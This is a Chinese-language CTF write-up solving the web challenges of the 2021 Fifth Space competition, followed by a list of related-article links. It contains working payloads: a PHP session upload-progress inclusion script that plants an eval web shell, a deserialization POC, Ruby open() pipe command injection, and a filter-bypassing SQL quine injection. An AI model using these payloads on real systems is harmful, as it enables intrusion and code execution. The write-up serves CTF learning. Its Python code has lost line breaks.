前言

挺傻逼的,5道web题全是静态靶机,三道rce题,不知道主办方咋想的。
附一张图

不过也算是ak了web 总体感觉还不错

webftp

这题就要说到搅屎的问题了,我直接扫路径扫到1.txt看到flag,大概是哪位大师傅放的

赛后跟别的师傅聊了一下,预期解是github上能下载源码然后看就行。

EasyCleanup

源码逻辑很简单,给了phpinfo和任意文件包含
这里的 session.upload_progress.cleanup 是off的,不会自动清除session文件
那直接传PHPSESSID然后包含就行,都不需要条件竞争。
exp

import io
import requests
import threadingsessid = 'aa'
def write_session(session):url = 'http://114.115.134.72:32770/index.php'f = io.BytesIO(b'a' * 1024 * 50)resp = session.post( 'http://127.0.0.1/session.php?file=/tmp/sess_'+sessid, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )if __name__ == '__main__':with requests.session() as session:write_session(session)

然后包含/tmp/sess_aa传命令即可

pklovecloud

简单的反序列化
poc

<?php
class acp
{protected $cinder;public $neutron;public $nova;public function __construct(){$this->neutron = '';$this->nova = '' ;$this->cinder = new ace();}
}
class ace
{public $filename;public $openstack;public $docker;public function __construct(){$this->filename = 'flag.php';$this->docker = 'O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3Bs%3A7%3A%22neutron%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22nova%22%3Bs%3A0%3A%22%22%3B%7D';//上一个poc的结果}}$A = new acp();
echo urlencode(serialize($A));

之后源码找flag

PNG图片转换器

这里利用了ruby的open函数能造成命令执行的特性
open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。

管道字符“|”开头,执行管道字符后面的命令
原题传文件,获得唯一文件名,然后读取文件的base64编码。在读取这里

file可控,但得满足上面的条件,这个限制也不是很严格
上传两张图片记住文件名
在/convernt处
第一步
file=|echo "Y2F0IC8q"|base64 -d > 0784368baeb4d0a58b04309f20df6f2e.png
Y2F0IC8q是cat /*的base64
第二步
file=|sh 0784368baeb4d0a58b04309f20df6f2e.png>405391431ca1ac9b33f35add1f4ef55c.png
之后读
405391431ca1ac9b33f35add1f4ef55c.png拿到flag base64解码即可

补充

赛后跟feng师傅聊了一下 发现不用这么麻烦,在上传处即可命令执行

可以看到,加密的参数是file[filename]但open的参数file[tempfile]是可控的 所以直接

再读这个文件即可

yet_another_mysql_injection

能时间盲注,但数据库里啥也没有
再看逻辑,

    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";$user_result=mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if (!$row) {alertMes("something wrong",'index.php');}if ($row['password'] === $password) {die($FLAG);}

就是查询语句要和查询结果一样就可以了
这篇文章很详细
https://www.shysecurity.com/post/20140705-SQLi-Quine
原文的payload改一下能用
原文的
SELECT REPLACE(REPLACE('SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine',CHAR(34),CHAR(39)),CHAR(36),'SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine') AS Quine
本题有过滤,且是注入,所以得改一下

function checkSql($s) {if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}

更改后的:
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#',CHAR(34),CHAR(39)),CHAR(63),'"UNION/**/SELECT/**/REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")/**/AS/**/a#')/**/AS/**/a#
直接打就行

总结

企业组第十三,,akweb的队伍很多,主要还是靠队友的misc re和密码才拿到这个名次,又被队友带飞了

2021第五空间webakwp相关推荐

  1. 2021 第五空间 ctf wp

    2021 第五空间 ctf wp Misc 签到题 alpha10 BabyMi Crypto ECC PWN bountyhunter CrazyVM RE uniapp Web EasyClean ...

  2. 2021第五空间CTF_web_wp

    web WebFTP 这个开始时有个1.txt直接访问,里面就有包括flag等的各种环境信息,不知道是忘删了还是有师傅导出的... 这个程序直接GitHub上可以找到源代码,里面有个php探针,这就可 ...

  3. [第五空间 2021]EasyCleanup

    [第五空间 2021]EasyCleanup 文章目录 [第五空间 2021]EasyCleanup 本题考点 解题过程 session文件包含 本题考点 利用session.upload_progr ...

  4. [第五空间 2021]签到题[陇剑杯 2021]签到

    flag: NSSCTF{welcometo5space} 1.该数据包分析过后使用http服务进行攻击 1.将编码放入十六进制编辑器进行查看得到下一串密文 2.使用base64解密得到flag

  5. 外包工作经历暨2021年终总结

    公司:太极-慧点科技 时间:2021/3/24~2021/6/7 项目:工商联/经济日报社OA项目 技术点: 前端:VUE封装组件 后端:Springboot.Spring Data Jpa Jenk ...

  6. Jeff Dean回顾谷歌2021

    Jeff Dean回顾谷歌2021 新年伊始,谷歌AI掌门人Jeff Dean的年度总结「虽迟但到」,这篇万字长文系统回顾了过去一年来机器学习领域的五大趋势.除了超大AI模型,谷歌去年还做了啥? 20 ...

  7. 2021年华为与小康-北汽-长安

    2021年华为与小康-北汽-长安 华为造不造车?这是之前汽车圈内最有意思的话题,关于内部想要造车的消息也频繁被曝出.直至华为心声社区发布了一篇任正非签发的决议,就是华为不造车,谁以后再建言造车,干扰公 ...

  8. 2021 年音视频技术与发展

    2021 年音视频技术与发展 2021 年,音视频技术的应用场景已随处可见,从游戏场景「吃鸡」.电商场景直播连麦.教育场景授课答题,再到金融场景银行视频开户等都有身影.那么,回望今年音视频领域到底有哪 ...

  9. 2021年大数据ELK(八):Elasticsearch安装IK分词器插件

    全网最详细的大数据ELK文章系列,强烈建议收藏加关注! 新文章都已经列出历史文章目录,帮助大家回顾前面的知识重点. 目录 系列历史文章 安装IK分词器 一.下载Elasticsearch IK分词器 ...

最新文章

  1. linux基础篇-02,linux时间管理date hwclock cal 简述
  2. Nature | 李海等揭示肠道菌群参与塑造B淋巴细胞抗原受体组库
  3. 从实现iPhone的OAuth封装看国内互联网和开放平台
  4. wxPython笔记
  5. php程序计算偶数和,php怎么编写计算双数的和
  6. Go微服务报错protoc-gen-go: unable to determine Go import path for
  7. C/C++中extern关键字详解[zz]
  8. python3.8对应django版本_Python Django 版本对应表
  9. linux mint安装类型,如何在Linux Mint 16中正确安装Ubuntu One
  10. CSS基本操作详解及截图演示
  11. LeetCode(883)——三维形体投影面积(JavaScript)
  12. 【西窗】2019杭州交通限行规定(最新地图详情)
  13. C++中如何读取一个数的位数_R语言入门之切尾均值(trimmed mean)和绝对中位差(mad)...
  14. python列表按照字母排序_Python:按字母顺序对列表进行排序/分组
  15. PBOOTCMS后台模板管理修改插件
  16. 在mtk移植个linux内核,移植 Linux Kernel 造成無法開機之解決方案以及除錯工具
  17. 【数据压缩】C语言实现bmp图片序列生成yuv视频
  18. windows 7解决AERO不透明问题
  19. python实现微信朋友圈点赞_使用vue做类似于微信点赞的效果?
  20. 计算机房维护登记表,机房运维值班记录表.doc

热门文章

  1. 初级工程师职称怎么评?职称通过率高的人才都是这么规划!(下)
  2. 内存管理:内存空间的扩充
  3. ROM里的build.prop3
  4. Android开发能够帮你更好开发的19个开发工具
  5. 【Unity3d】火炬之光的X射线效果
  6. IIS8 安装 PHP
  7. Windows10下配置iis+php+mysql
  8. 说到“以用户为中心”这件事,Aruba很专业!
  9. ip冲突和双网卡模式
  10. 如何在 Linux 中检查打开的端口?